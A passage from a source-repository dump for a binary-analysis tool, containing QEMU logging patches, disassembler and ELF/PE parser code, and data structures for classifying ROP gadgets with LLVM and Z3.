gen_tb_end(tb, num_insns); 36 | + /*gen_tb_end(tb, num_insns);*/ 37 | *tcg_ctx.gen_opc_ptr = INDEX_op_end; 38 | /* we don't forget to fill the last values */ 39 | if (search_pc) { 40 | diff --git a/tcg/tcg.c b/tcg/tcg.c 41 | index f1e0763..360e487 100644 42 | --- a/tcg/tcg.c 43 | +++ b/tcg/tcg.c 44 | @@ -2496,6 +2496,8 @@ static inline int tcg_gen_code_common(TCGContext *s, uint8_t *gen_code_buf, 45 | } 46 | #endif 47 | 48 | + tcg_dump_ops(s); 49 | + 50 | tcg_reg_alloc_start(s); 51 | 52 | s->code_buf = gen_code_buf; 53 | -------------------------------------------------------------------------------- /patches/qemu.noprologet.patch: -------------------------------------------------------------------------------- 1 | diff --git a/qemu-log.c b/qemu-log.c 2 | index 797f2af..ce59e4a 100644 3 | --- a/qemu-log.c 4 | +++ b/qemu-log.c 5 | @@ -30,9 +30,12 @@ void qemu_log(const char *fmt, ...) 6 | va_list ap; 7 | 8 | va_start(ap, fmt); 9 | + vprintf(fmt, ap); 10 | + /* 11 | if (qemu_logfile) { 12 | vfprintf(qemu_logfile, fmt, ap); 13 | } 14 | + */ 15 | va_end(ap); 16 | } 17 | 18 | diff --git a/target-i386/translate.c b/target-i386/translate.c 19 | index 782f7d2..31384d1 100644 20 | --- a/target-i386/translate.c 21 | +++ b/target-i386/translate.c 22 | @@ -7980,7 +7980,7 @@ static inline void gen_intermediate_code_internal(X86CPU *cpu, 23 | if (max_insns == 0) 24 | max_insns = CF_COUNT_MASK; 25 | 26 | - gen_tb_start(); 27 | + /*gen_tb_start();*/ 28 | for(;;) { 29 | if (unlikely(!QTAILQ_EMPTY(&cs->breakpoints))) { 30 | QTAILQ_FOREACH(bp, &cs->breakpoints, entry) { 31 | @@ -8039,7 +8039,7 @@ static inline void gen_intermediate_code_internal(X86CPU *cpu, 32 | if (tb->cflags & CF_LAST_IO) 33 | gen_io_end(); 34 | done_generating: 35 | - gen_tb_end(tb, num_insns); 36 | + /*gen_tb_end(tb, num_insns);*/ 37 | *tcg_ctx.gen_opc_ptr = INDEX_op_end; 38 | /* we don't forget to fill the last values */ 39 | if (search_pc) { 40 | diff --git a/translate-all.c b/translate-all.c 41 | index ba5c840..af0c9d8 100644 42 | --- a/translate-all.c 43 | +++ b/translate-all.c 44 | @@ -135,6 +135,11 @@ void cpu_gen_init(void) 45 | tcg_context_init(&tcg_ctx); 46 | } 47 | 48 | +TCGContext *get_tcg_ctx(void) 49 | +{ 50 | + return &tcg_ctx; 51 | +} 52 | + 53 | /* return non zero if the very first instruction is invalid so that 54 | the virtual CPU can trigger an exception. 55 | 56 | -------------------------------------------------------------------------------- /patches/qemu.patch: -------------------------------------------------------------------------------- 1 | diff --git a/include/exec/user/abitypes.h b/include/exec/user/abitypes.h 2 | index 80eedac..079bef0 100644 3 | --- a/include/exec/user/abitypes.h 4 | +++ b/include/exec/user/abitypes.h 5 | @@ -1,5 +1,37 @@ 6 | #ifndef QEMU_TYPES_H 7 | #define QEMU_TYPES_H 8 | + 9 | +#ifdef TARGET_ABI32 10 | +typedef uint32_t abi_ulong __attribute__((aligned(ABI_LONG_ALIGNMENT))); 11 | +typedef int32_t abi_long __attribute__((aligned(ABI_LONG_ALIGNMENT))); 12 | +#define TARGET_ABI_FMT_lx "%08x" 13 | +#define TARGET_ABI_FMT_ld "%d" 14 | +#define TARGET_ABI_FMT_lu "%u" 15 | + 16 | +static inline abi_ulong tswapal(abi_ulong v) 17 | +{ 18 | + return tswap32(v); 19 | +} 20 | + 21 | +#else 22 | +typedef unsigned long target_ulong; 23 | +typedef signed long target_long; 24 | +typedef target_ulong abi_ulong; 25 | +typedef target_long abi_long; 26 | +#define TARGET_ABI_FMT_lx TARGET_FMT_lx 27 | +#define TARGET_ABI_FMT_ld TARGET_FMT_ld 28 | +#define TARGET_ABI_FMT_lu TARGET_FMT_lu 29 | +/* for consistency, define ABI32 too */ 30 | +#if TARGET_ABI_BITS == 32 31 | +#define TARGET_ABI32 1 32 | +#endif 33 | + 34 | +static inline abi_ulong tswapal(abi_ulong v) 35 | +{ 36 | + return tswapl(v); 37 | +} 38 | + 39 | +#endif 40 | #include "cpu.h" 41 | 42 | #ifdef TARGET_ABI32 43 | @@ -33,34 +65,4 @@ typedef int32_t abi_int __attribute__((aligned(ABI_INT_ALIGNMENT))); 44 | typedef uint32_t abi_uint __attribute__((aligned(ABI_INT_ALIGNMENT))); 45 | typedef int64_t abi_llong __attribute__((aligned(ABI_LLONG_ALIGNMENT))); 46 | typedef uint64_t abi_ullong __attribute__((aligned(ABI_LLONG_ALIGNMENT))); 47 | - 48 | -#ifdef TARGET_ABI32 49 | -typedef uint32_t abi_ulong __attribute__((aligned(ABI_LONG_ALIGNMENT))); 50 | -typedef int32_t abi_long __attribute__((aligned(ABI_LONG_ALIGNMENT))); 51 | -#define TARGET_ABI_FMT_lx "%08x" 52 | -#define TARGET_ABI_FMT_ld "%d" 53 | -#define TARGET_ABI_FMT_lu "%u" 54 | - 55 | -static inline abi_ulong tswapal(abi_ulong v) 56 | -{ 57 | - return tswap32(v); 58 | -} 59 | - 60 | -#else 61 | -typedef target_ulong abi_ulong __attribute__((aligned(ABI_LONG_ALIGNMENT))); 62 | -typedef target_long abi_long __attribute__((aligned(ABI_LONG_ALIGNMENT))); 63 | -#define TARGET_ABI_FMT_lx TARGET_FMT_lx 64 | -#define TARGET_ABI_FMT_ld TARGET_FMT_ld 65 | -#define TARGET_ABI_FMT_lu TARGET_FMT_lu 66 | -/* for consistency, define ABI32 too */ 67 | -#if TARGET_ABI_BITS == 32 68 | -#define TARGET_ABI32 1 69 | -#endif 70 | - 71 | -static inline abi_ulong tswapal(abi_ulong v) 72 | -{ 73 | - return tswapl(v); 74 | -} 75 | - 76 | -#endif 77 | #endif 78 | diff --git a/stubs/cpu-get-icount.c b/stubs/cpu-get-icount.c 79 | index d685859..12fd74c 100644 80 | --- a/stubs/cpu-get-icount.c 81 | +++ b/stubs/cpu-get-icount.c 82 | @@ -1,7 +1,7 @@ 83 | #include "qemu-common.h" 84 | #include "qemu/timer.h" 85 | 86 | -int use_icount; 87 | +//int use_icount; 88 | 89 | int64_t cpu_get_icount(void) 90 | { 91 | -------------------------------------------------------------------------------- /src/chain.h: -------------------------------------------------------------------------------- 1 | /** 2 | * Define a chain of instruction 3 | */ 4 | 5 | #ifndef __CHAIN_H_ 6 | #define __CHAIN_H_ 7 | 8 | #include "utils.h" 9 | #include "chunk.h" 10 | #include "map.h" 11 | #include "linked_list.h" 12 | #include "xed-interface.h" 13 | #include "disassembler_xed.h" 14 | #include "disassembler_capstone.h" 15 | #include "disassembler_meta.h" 16 | 17 | /* 18 | * Using -isystem qemu to handle warnings 19 | */ 20 | #include 21 | 22 | #define DISASSINSTANCE create_xed 23 | 24 | void gen_intermediate_code(CPUArchState *env, struct TranslationBlock *tb); 25 | 26 | typedef struct chain_t chain_t; 27 | 28 | struct chain_t 29 | { 30 | uint64_t (*get_addr)(chain_t *); 31 | char *(*get_str)(chain_t *); 32 | chunk_t (*get_chunk)(chain_t *); 33 | linked_list_t *(*get_instructions)(chain_t *); 34 | map_t *(*get_map)(chain_t*); 35 | map_t *(*get_map_prefix)(chain_t*, chunk_t); 36 | 37 | void (*set_addr)(chain_t *, uint64_t); 38 | void (*set_str)(chain_t *, char *); 39 | void (*set_chunk)(chain_t *, chunk_t); 40 | void (*set_instructions)(chain_t *, linked_list_t *); 41 | void (*set_Z3_context)(chain_t *, Z3_context ctx); 42 | 43 | void (*destroy)(chain_t *); 44 | }; 45 | 46 | chain_t *chain_create_from_string(chunk_t type, uint64_t addr, chunk_t chain_str); 47 | chain_t *chain_create_from_string_disass(disassembler_t *d, uint64_t addr, chunk_t chain_str); 48 | 49 | chain_t *chain_create_from_insn(chunk_t type, uint64_t addr, linked_list_t *instructions); 50 | chain_t *chain_create_from_insn_disass(disassembler_t *d, uint64_t addr, linked_list_t *instructions); 51 | 52 | chain_t *chain_create(disassembler_t *d, uint64_t addr, char *str, chunk_t chunk, linked_list_t *instructions); 53 | 54 | #endif 55 | -------------------------------------------------------------------------------- /src/code.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Parsed code from region 3 | */ 4 | 5 | #ifndef __CODE_H__ 6 | #define __CODE_H__ 7 | 8 | #include "utils.h" 9 | #include "region.h" 10 | #include "linked_list.h" 11 | 12 | typedef struct code_t code_t; 13 | 14 | struct code_t 15 | { 16 | uint64_t entry; 17 | 18 | chunk_t (*get_type)(code_t*); 19 | region_t *(*get_region)(code_t*); 20 | status_t (*write_to_file)(code_t*, char*); 21 | 22 | void (*destroy)(code_t* this); 23 | }; 24 | 25 | #endif 26 | -------------------------------------------------------------------------------- /src/constraints.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Implementation of constraints_t 3 | */ 4 | 5 | #include "constraints.h" 6 | 7 | typedef struct private_constraints_t private_constraints_t; 8 | 9 | struct private_constraints_t 10 | { 11 | constraints_t public; 12 | 13 | linked_list_t *constraintsop; 14 | }; 15 | 16 | static void destroy(private_constraints_t *this) 17 | { 18 | free(this); 19 | this = NULL; 20 | } 21 | 22 | constraints_t *constraints_create() 23 | { 24 | private_constraints_t *this = malloc_thing(private_constraints_t); 25 | 26 | this->public.destroy = (void (*)(constraints_t *)) destroy; 27 | 28 | return &this->public; 29 | } 30 | -------------------------------------------------------------------------------- /src/constraints.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Define a constraints 3 | */ 4 | 5 | #ifndef __CONSTRAINTS_H_ 6 | #define __CONSTRAINTS_H_ 7 | 8 | #include "utils.h" 9 | #include "xed-interface.h" 10 | #include "linked_list.h" 11 | 12 | typedef struct constraints_t constraints_t; 13 | 14 | struct constraints_t 15 | { 16 | void (*destroy)(constraints_t *); 17 | }; 18 | 19 | constraints_t *constraints_create(); 20 | #endif 21 | -------------------------------------------------------------------------------- /src/converter.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Used to convert tcg to llvm 3 | */ 4 | 5 | #ifndef __CONVERTER_H 6 | #define __CONVERTER_H 7 | 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | 15 | /* 16 | * Using the -isystem qemu to make qemu headers warnings to disappear 17 | */ 18 | #include 19 | #include 20 | 21 | #include 22 | 23 | #include "utils.h" 24 | #include "chunk.h" 25 | #include "map.h" 26 | #include "linked_list.h" 27 | 28 | typedef struct converter_t converter_t; 29 | 30 | struct converter_t 31 | { 32 | void (*tcg_to_llvm)(converter_t *); 33 | map_t *(*llvm_to_z3)(converter_t *); 34 | void (*dump)(converter_t *); 35 | void (*set_prefix)(converter_t *, chunk_t); 36 | 37 | void (*destroy)(converter_t *); 38 | }; 39 | 40 | converter_t *converter_create(TCGContext *s, Z3_context ctx); 41 | 42 | #endif 43 | -------------------------------------------------------------------------------- /src/disassemblers/disassembler.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Disassembler interface 3 | */ 4 | 5 | #ifndef __DISASSEMBLER_H__ 6 | #define __DISASSEMBLER_H__ 7 | 8 | #include "instruction.h" 9 | 10 | typedef struct disassembler_t disassembler_t; 11 | 12 | struct disassembler_t 13 | { 14 | /** 15 | * Initialize the disassembler for the architecture. 16 | * 17 | * @param arch the architecture name 18 | * @return STATUS of the initialization 19 | */ 20 | status_t (*initialize)(disassembler_t *, chunk_t); 21 | 22 | /** 23 | * Get the category of the instruction. Described as category_t 24 | * 25 | * @param instruction the instruction to analyze 26 | * @return category the category of the instruction 27 | */ 28 | category_t (*get_category)(disassembler_t *, instruction_t *); 29 | 30 | /** 31 | * Get the instruction length. 32 | * 33 | * @param instruction the instruction to analyze 34 | * @return length the length of the instruction 35 | */ 36 | uint64_t (*get_length)(disassembler_t *, instruction_t *); 37 | 38 | /** 39 | * Dump in the disassembler default format. 40 | * 41 | * @param instruction the instruction to dump 42 | * @param format the format to dump instructions 43 | * @return STATUS of the dump format modification 44 | */ 45 | status_t (*format)(disassembler_t *, instruction_t *, chunk_t *); 46 | 47 | /** 48 | * Dump the instruction in the INTEL format. 49 | * 50 | * @param instruction the instruction to dump 51 | * @param buffer the chunk to contain the dump 52 | * @param offset the offset of the instruction in the executable 53 | * 54 | * @return SUCCESS if the dump was successful, 55 | * FAILED otherwise 56 | */ 57 | status_t (*dump_intel)(disassembler_t *, instruction_t *, chunk_t *, uint64_t); 58 | 59 | /** 60 | * Decode a sequence of bytes to a string. The format can be modified 61 | * through the set_format function. 62 | * 63 | * @param bytes instruction to decode 64 | * @param chunk corresponding string 65 | * @return STATUS of the decoding 66 | */ 67 | status_t (*decode)(disassembler_t *, instruction_t **, chunk_t); 68 | 69 | /** 70 | * Encode a sequence of bytes to a string. The format can be modified 71 | * through the set_format function. 72 | * 73 | * @param bytes string to encode 74 | * @param chunk corresponding sequence of bytes 75 | * @return STATUS of the encoding 76 | */ 77 | status_t (*encode)(disassembler_t *, chunk_t *, instruction_t *); 78 | 79 | /** 80 | * Destroy a disassembler_t object. 81 | */ 82 | void (*destroy)(disassembler_t *); 83 | }; 84 | 85 | #endif 86 | -------------------------------------------------------------------------------- /src/disassemblers/disassembler_capstone.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Implementation of disassembler for Capstone 3 | * 4 | * 5 | * 6 | */ 7 | 8 | #ifndef __DISASSEMBLER_CAPSTONE_H__ 9 | #define __DISASSEMBLER_CAPSTONE_H__ 10 | 11 | #include 12 | #include "elf_type.h" 13 | #include "disassembler.h" 14 | 15 | typedef struct disass_capstone_t disass_capstone_t; 16 | 17 | struct disass_capstone_t 18 | { 19 | disassembler_t interface; 20 | 21 | /** 22 | * Destroys a disass_capstone_t object. 23 | */ 24 | void (*destroy)(disass_capstone_t); 25 | }; 26 | 27 | disass_capstone_t *create_capstone(); 28 | 29 | #endif 30 | -------------------------------------------------------------------------------- /src/disassemblers/disassembler_meta.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Implementation of disassembler with all disassemblers 3 | * 4 | */ 5 | 6 | #ifndef __DISASSEMBLER_META_H__ 7 | #define __DISASSEMBLER_META_H__ 8 | 9 | #include "elf_type.h" 10 | #include "disassembler.h" 11 | 12 | //#define DISASSINSTANCE create_meta 13 | 14 | typedef struct disass_meta_t disass_meta_t; 15 | 16 | struct disass_meta_t 17 | { 18 | disassembler_t interface; 19 | 20 | /** 21 | * Destroys a disass_meta_t object. 22 | */ 23 | void (*destroy)(disass_meta_t); 24 | }; 25 | 26 | disass_meta_t *create_meta(); 27 | 28 | #endif 29 | -------------------------------------------------------------------------------- /src/disassemblers/disassembler_xed.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Implementation of disassembler for Intel XED 3 | * 4 | * Rev: 65163 5 | * pin-2.13-65163 6 | */ 7 | 8 | #ifndef __DISASSEMBLER_XED_H__ 9 | #define __DISASSEMBLER_XED_H__ 10 | 11 | #include "xed-interface.h" 12 | #include "elf_type.h" 13 | #include "disassembler.h" 14 | 15 | //#define DISASSINSTANCE create_xed 16 | 17 | typedef struct disass_xed_t disass_xed_t; 18 | 19 | struct disass_xed_t 20 | { 21 | disassembler_t interface; 22 | 23 | /** 24 | * Destroys a disass_xed_t object. 25 | */ 26 | void (*destroy)(disass_xed_t); 27 | }; 28 | 29 | disass_xed_t *create_xed(); 30 | 31 | #endif 32 | -------------------------------------------------------------------------------- /src/gadget.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Define ROP gadget, i.e. sequence of instructions 3 | */ 4 | 5 | #ifndef __GADGET_H__ 6 | #define __GADGET_H__ 7 | 8 | typedef struct gadget_t gadget_t; 9 | 10 | struct gadget_t 11 | { 12 | /** 13 | * Add instruction bytes to gadget. 14 | * 15 | * @param insn the instruction_t to add. 16 | * @return SUCCESS if the instruction was successfully added, FAILED otherwise 17 | */ 18 | status_t (*add_instruction)(gadget_t*, instruction_t*); 19 | 20 | /** 21 | * Destroys an elf_t object. 22 | */ 23 | void (*destroy)(gadget_t *); 24 | }; 25 | 26 | gadget_t *create_gadget(); 27 | 28 | #endif 29 | -------------------------------------------------------------------------------- /src/instruction.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Define an instruction 3 | */ 4 | 5 | #ifndef __INSTRUCTION_H__ 6 | #define __INSTRUCTION_H__ 7 | 8 | typedef struct instruction_t instruction_t; 9 | 10 | struct instruction_t 11 | { 12 | chunk_t bytes; 13 | chunk_t str; 14 | 15 | /** 16 | * Clone an instruction_t object. Is implemented by the disassembler. 17 | */ 18 | instruction_t *(*clone)(instruction_t *); 19 | 20 | /** 21 | * Destroys an instruction_t object. Implemented by the disassembler. 22 | */ 23 | void (*destroy)(instruction_t *); 24 | }; 25 | 26 | typedef enum 27 | { 28 | NO_CAT, 29 | COND_BR, 30 | UNCOND_BR, 31 | SYSCALL, 32 | CALL, 33 | RET, 34 | ERR, 35 | } category_t; 36 | 37 | instruction_t *create_instruction(chunk_t bytes); 38 | 39 | #endif 40 | -------------------------------------------------------------------------------- /src/map.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Define a map 3 | */ 4 | 5 | #ifndef __MAP_H_ 6 | #define __MAP_H_ 7 | 8 | #include "utils.h" 9 | #include "linked_list.h" 10 | #include "chunk.h" 11 | #include 12 | 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | 21 | typedef struct map_t map_t; 22 | 23 | typedef enum 24 | { 25 | UNKN, 26 | BAD, 27 | PN1, 28 | PN2, 29 | PC1, 30 | PC2, 31 | PC3 32 | } gadget_type; 33 | 34 | typedef struct Z3_symbol_cell 35 | { 36 | LLVMValueRef valueref; 37 | Z3_ast symbol; 38 | Z3_context ctx; 39 | chunk_t name; 40 | unsigned int index; 41 | chunk_t prefix; 42 | bool is_global; 43 | int read_access; 44 | int write_access; 45 | } Z3_symbol_cell; 46 | 47 | struct map_t 48 | { 49 | Z3_ast (*get_ast)(map_t *); 50 | linked_list_t *(*get_symbols)(map_t *); 51 | void (*dump)(map_t *); 52 | gadget_type (*compare)(map_t *, map_t *); 53 | void (*destroy)(map_t *); 54 | }; 55 | 56 | map_t *map_create(Z3_context ctx, Z3_ast ast, linked_list_t *symbols); 57 | #endif 58 | -------------------------------------------------------------------------------- /src/packer.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Parser.h 3 | * 4 | */ 5 | 6 | #ifndef __PARSER_H__ 7 | #define __PARSER_H__ 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | 14 | #include "utils.h" 15 | 16 | #endif 17 | -------------------------------------------------------------------------------- /src/parsers/parser.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Parser interface 3 | */ 4 | 5 | #ifndef __PARSER_H_ 6 | #define __PARSER_H_ 7 | 8 | #include "utils.h" 9 | #include "region.h" 10 | #include "code.h" 11 | /*#include "elf_type.h"*/ 12 | 13 | typedef struct parser_t parser_t; 14 | 15 | struct parser_t 16 | { 17 | status_t (*check_region)(region_t *); 18 | code_t *(*parse)(parser_t *, region_t *); 19 | void (*destroy)(parser_t *); 20 | }; 21 | 22 | #endif 23 | -------------------------------------------------------------------------------- /src/parsers/parser_builder.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Parser interface 3 | */ 4 | 5 | #include "parser_builder.h" 6 | 7 | typedef struct private_parser_builder_t private_parser_builder_t; 8 | 9 | struct private_parser_builder_t 10 | { 11 | parser_builder_t public; 12 | 13 | linked_list_t *parsers_list; 14 | }; 15 | 16 | static void add_parser(private_parser_builder_t *this, parser_t *parser) 17 | { 18 | this->parsers_list->insert_last(this->parsers_list, parser); 19 | } 20 | 21 | static bool compare_parsers(void *a, void *b) 22 | { 23 | return a == b; 24 | } 25 | 26 | static void remove_parser(private_parser_builder_t *this, parser_t *parser) 27 | { 28 | this->parsers_list->remove(this->parsers_list, parser, compare_parsers); 29 | } 30 | 31 | static enumerator_t *get_enumerator(private_parser_builder_t *this) 32 | { 33 | return this->parsers_list->create_enumerator(this->parsers_list); 34 | } 35 | 36 | static void destroy(private_parser_builder_t *this) 37 | { 38 | this->parsers_list->destroy(this->parsers_list); 39 | free(this); 40 | this = NULL; 41 | } 42 | 43 | parser_builder_t *parser_builder_create() 44 | { 45 | private_parser_builder_t *this = malloc_thing(private_parser_builder_t); 46 | 47 | this->public.add_parser = (void (*)(parser_builder_t *, parser_t *)) add_parser; 48 | this->public.remove_parser = (void (*)(parser_builder_t *, parser_t *)) remove_parser; 49 | this->public.get_enumerator = (enumerator_t *(*)(parser_builder_t *)) get_enumerator; 50 | this->public.destroy = (void (*)(parser_builder_t *)) destroy; 51 | 52 | this->parsers_list = linked_list_create(); 53 | 54 | return &this->public; 55 | } 56 | -------------------------------------------------------------------------------- /src/parsers/parser_builder.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Parser builder 3 | */ 4 | 5 | #ifndef __PARSER_BUILDER_H_ 6 | #define __PARSER_BUILDER_H_ 7 | 8 | #include "utils.h" 9 | #include "parser.h" 10 | #include "linked_list.h" 11 | 12 | typedef struct parser_builder_t parser_builder_t; 13 | 14 | struct parser_builder_t 15 | { 16 | void (*add_parser)(parser_builder_t *, parser_t *); 17 | void (*remove_parser)(parser_builder_t *, parser_t *); 18 | enumerator_t *(*get_enumerator)(parser_builder_t *); 19 | void (*destroy)(parser_builder_t *); 20 | }; 21 | 22 | parser_builder_t *parser_builder_create(); 23 | 24 | #endif 25 | -------------------------------------------------------------------------------- /src/parsers/parser_elf.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Parser interface 3 | */ 4 | 5 | #include "parser_elf.h" 6 | 7 | typedef struct private_parser_elf_t private_parser_elf_t; 8 | 9 | struct private_parser_elf_t 10 | { 11 | parser_elf_t public; 12 | region_t *code; 13 | 14 | status_t (*check_region_32b)(region_t *); 15 | status_t (*check_region_64b)(region_t *); 16 | status_t (*check_region)(region_t *); 17 | }; 18 | 19 | static status_t check_binary_32b(void* start) { 20 | Elf32_Ehdr* elf_hdr = (Elf32_Ehdr*) start; 21 | if (elf_hdr->e_machine == EM_386) 22 | return 1; 23 | return 0; 24 | } 25 | 26 | static status_t check_binary_64b(void* start) { 27 | #if !defined(EM_L1OM) /* Oh, not zero */ 28 | # define EM_L1OM 180 29 | #endif 30 | Elf64_Ehdr* elf_hdr = (Elf64_Ehdr*) start; 31 | if (elf_hdr->e_machine == EM_X86_64 || 32 | elf_hdr->e_machine == EM_L1OM) 33 | return 1; 34 | return 0; 35 | } 36 | 37 | static status_t check_region_32b(region_t *region) 38 | { 39 | return check_binary_32b(region->get_chunk(region).ptr); 40 | } 41 | 42 | static status_t check_region_64b(region_t *region) 43 | { 44 | return check_binary_64b(region->get_chunk(region).ptr); 45 | } 46 | 47 | static status_t check_region(region_t *region) 48 | { 49 | if (region == NULL) 50 | return FAILED; 51 | 52 | if (check_binary_32b(region->get_chunk(region).ptr) || 53 | check_binary_64b(region->get_chunk(region).ptr)) 54 | { 55 | return SUCCESS; 56 | } 57 | else 58 | { 59 | return FAILED; 60 | } 61 | } 62 | 63 | static code_t *parse(private_parser_elf_t *this, region_t *region) 64 | { 65 | if (this->check_region_32b(region)) 66 | { 67 | elf_t *code = create_elf(chunk_create((unsigned char *)"ELF32", 5), region); 68 | return (code_t*) code; 69 | } 70 | else if (this->check_region_64b(region)) 71 | { 72 | elf_t *code = create_elf(chunk_create((unsigned char *)"ELF64", 5), region); 73 | return (code_t*) code; 74 | } 75 | else 76 | { 77 | return NULL; 78 | } 79 | } 80 | 81 | static void destroy(private_parser_elf_t *this) 82 | { 83 | free(this); 84 | this = NULL; 85 | } 86 | 87 | parser_elf_t *parser_elf_create() 88 | { 89 | private_parser_elf_t *this = malloc_thing(private_parser_elf_t); 90 | 91 | this->public.interface.check_region = (status_t (*)(region_t *)) check_region; 92 | this->public.interface.parse = (code_t *(*)(parser_t *, region_t *)) parse; 93 | this->public.interface.destroy = (void (*)(parser_t *)) destroy; 94 | 95 | this->check_region_32b = (status_t (*)(region_t *)) check_region_32b; 96 | this->check_region_64b = (status_t (*)(region_t *)) check_region_64b; 97 | 98 | return &this->public; 99 | } 100 | -------------------------------------------------------------------------------- /src/parsers/parser_elf.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Parser interface 3 | */ 4 | 5 | #ifndef __PARSER_ELF_T_ 6 | #define __PARSER_ELF_T_ 7 | 8 | #include "parser.h" 9 | #include 10 | #include "elf_type.h" 11 | #include "utils.h" 12 | 13 | typedef struct parser_elf_t parser_elf_t; 14 | 15 | struct parser_elf_t 16 | { 17 | parser_t interface; 18 | }; 19 | 20 | parser_elf_t *parser_elf_create(); 21 | 22 | #endif 23 | -------------------------------------------------------------------------------- /src/parsers/parser_pe.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Parser interface 3 | */ 4 | 5 | #include "parser_pe.h" 6 | 7 | typedef struct private_parser_pe_t private_parser_pe_t; 8 | 9 | struct private_parser_pe_t 10 | { 11 | parser_pe_t public; 12 | region_t *code; 13 | 14 | status_t (*check_region_32b)(region_t *); 15 | status_t (*check_region_64b)(region_t *); 16 | status_t (*check_region)(region_t *); 17 | }; 18 | 19 | static status_t check_binary_32b(void* start) { 20 | return start == 0; 21 | } 22 | 23 | static status_t check_binary_64b(void* start) { 24 | return start == 0; 25 | } 26 | 27 | static status_t check_region_32b(region_t *region) 28 | { 29 | return check_binary_32b(region->get_chunk(region).ptr); 30 | } 31 | 32 | static status_t check_region_64b(region_t *region) 33 | { 34 | return check_binary_64b(region->get_chunk(region).ptr); 35 | } 36 | 37 | static status_t check_region(region_t *region) 38 | { 39 | if (region == NULL) 40 | return FAILED; 41 | 42 | if (check_binary_32b(region->get_chunk(region).ptr) || 43 | check_binary_64b(region->get_chunk(region).ptr)) 44 | { 45 | return SUCCESS; 46 | } 47 | else 48 | { 49 | return FAILED; 50 | } 51 | } 52 | 53 | static code_t *parse(private_parser_pe_t *this, region_t *region) 54 | { 55 | pe_t *code = create_pe(chunk_create((unsigned char *)"PE", 2), region); 56 | 57 | if (this->check_region_32b(region)) 58 | { 59 | return (code_t*) code; 60 | } 61 | else if (this->check_region_64b(region)) 62 | { 63 | return (code_t*) code; 64 | } 65 | else 66 | { 67 | code->destroy(code); 68 | return NULL; 69 | } 70 | } 71 | 72 | static void destroy(private_parser_pe_t *this) 73 | { 74 | free(this); 75 | this = NULL; 76 | } 77 | 78 | parser_pe_t *parser_pe_create() 79 | { 80 | private_parser_pe_t *this = malloc_thing(private_parser_pe_t); 81 | 82 | this->public.interface.check_region = (status_t (*)(region_t *)) check_region; 83 | this->public.interface.parse = (code_t *(*)(parser_t *, region_t *)) parse; 84 | this->public.interface.destroy = (void (*)(parser_t *)) destroy; 85 | 86 | this->check_region_32b = (status_t (*)(region_t *)) check_region_32b; 87 | this->check_region_64b = (status_t (*)(region_t *)) check_region_64b; 88 | 89 | return &this->public; 90 | } 91 | -------------------------------------------------------------------------------- /src/parsers/parser_pe.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Parser interface 3 | */ 4 | 5 | #ifndef __PARSER_PE_T_ 6 | #define __PARSER_PE_T_ 7 | 8 | #include "parser.h" 9 | #include "pe_type.h" 10 | #include "utils.h" 11 | 12 | typedef struct parser_pe_t parser_pe_t; 13 | 14 | struct parser_pe_t 15 | { 16 | parser_t interface; 17 | }; 18 | 19 | parser_pe_t *parser_pe_create(); 20 | 21 | #endif 22 | -------------------------------------------------------------------------------- /src/parsers/program_header.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Code program_header 3 | */ 4 | 5 | #ifndef __PROGRAM_HEADER_H__ 6 | #define __PROGRAM_HEADER_H__ 7 | 8 | #include "utils.h" 9 | #include "chunk.h" 10 | 11 | /* 12 | * Move in program_header_elf.h during refactor 13 | */ 14 | #include 15 | 16 | typedef struct program_header_t program_header_t; 17 | 18 | struct program_header_t 19 | { 20 | /** 21 | * Program Header Structure getters and setters 22 | */ 23 | Elf64_Off (*get_p_offset)(program_header_t *this); 24 | void (*set_p_offset)(program_header_t *this, Elf64_Off offset); 25 | 26 | uint32_t (*get_p_type)(program_header_t *this); 27 | 28 | uint64_t (*get_p_vaddr)(program_header_t *this); 29 | void (*set_p_vaddr)(program_header_t *this, Elf64_Addr address); 30 | 31 | void (*set_p_paddr)(program_header_t *this, Elf64_Addr address); 32 | 33 | uint32_t (*get_p_flags)(program_header_t *this); 34 | 35 | uint64_t (*get_p_filesz)(program_header_t *this); 36 | void (*set_p_filesz)(program_header_t *this, uint64_t filesz); 37 | 38 | uint64_t (*get_p_memsz)(program_header_t *this); 39 | void (*set_p_memsz)(program_header_t *this, uint64_t memsz); 40 | 41 | uint64_t (*get_p_align)(program_header_t *this); 42 | 43 | chunk_t (*get_header)(program_header_t* this); 44 | chunk_t (*get_chunk)(program_header_t* this); 45 | 46 | void (*destroy)(program_header_t* this); 47 | }; 48 | 49 | program_header_t *create_program_header(chunk_t program_header, chunk_t data, size_t arch); 50 | 51 | #endif 52 | -------------------------------------------------------------------------------- /src/plugins/plugin.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Plugin interface 3 | */ 4 | 5 | #ifndef __PLUGIN_H__ 6 | #define __PLUGIN_H__ 7 | 8 | #include "code.h" 9 | 10 | typedef struct plugin_t plugin_t; 11 | 12 | struct plugin_t 13 | { 14 | status_t (*apply)(plugin_t *); 15 | void (*destroy) (plugin_t *); 16 | }; 17 | 18 | #endif 19 | -------------------------------------------------------------------------------- /src/plugins/plugin_builder.c: -------------------------------------------------------------------------------- 1 | /* 2 | * Parser interface 3 | */ 4 | 5 | #include "plugin_builder.h" 6 | 7 | typedef struct private_plugin_builder_t private_plugin_builder_t; 8 | 9 | struct private_plugin_builder_t 10 | { 11 | plugin_builder_t public; 12 | 13 | linked_list_t *plugins_list; 14 | }; 15 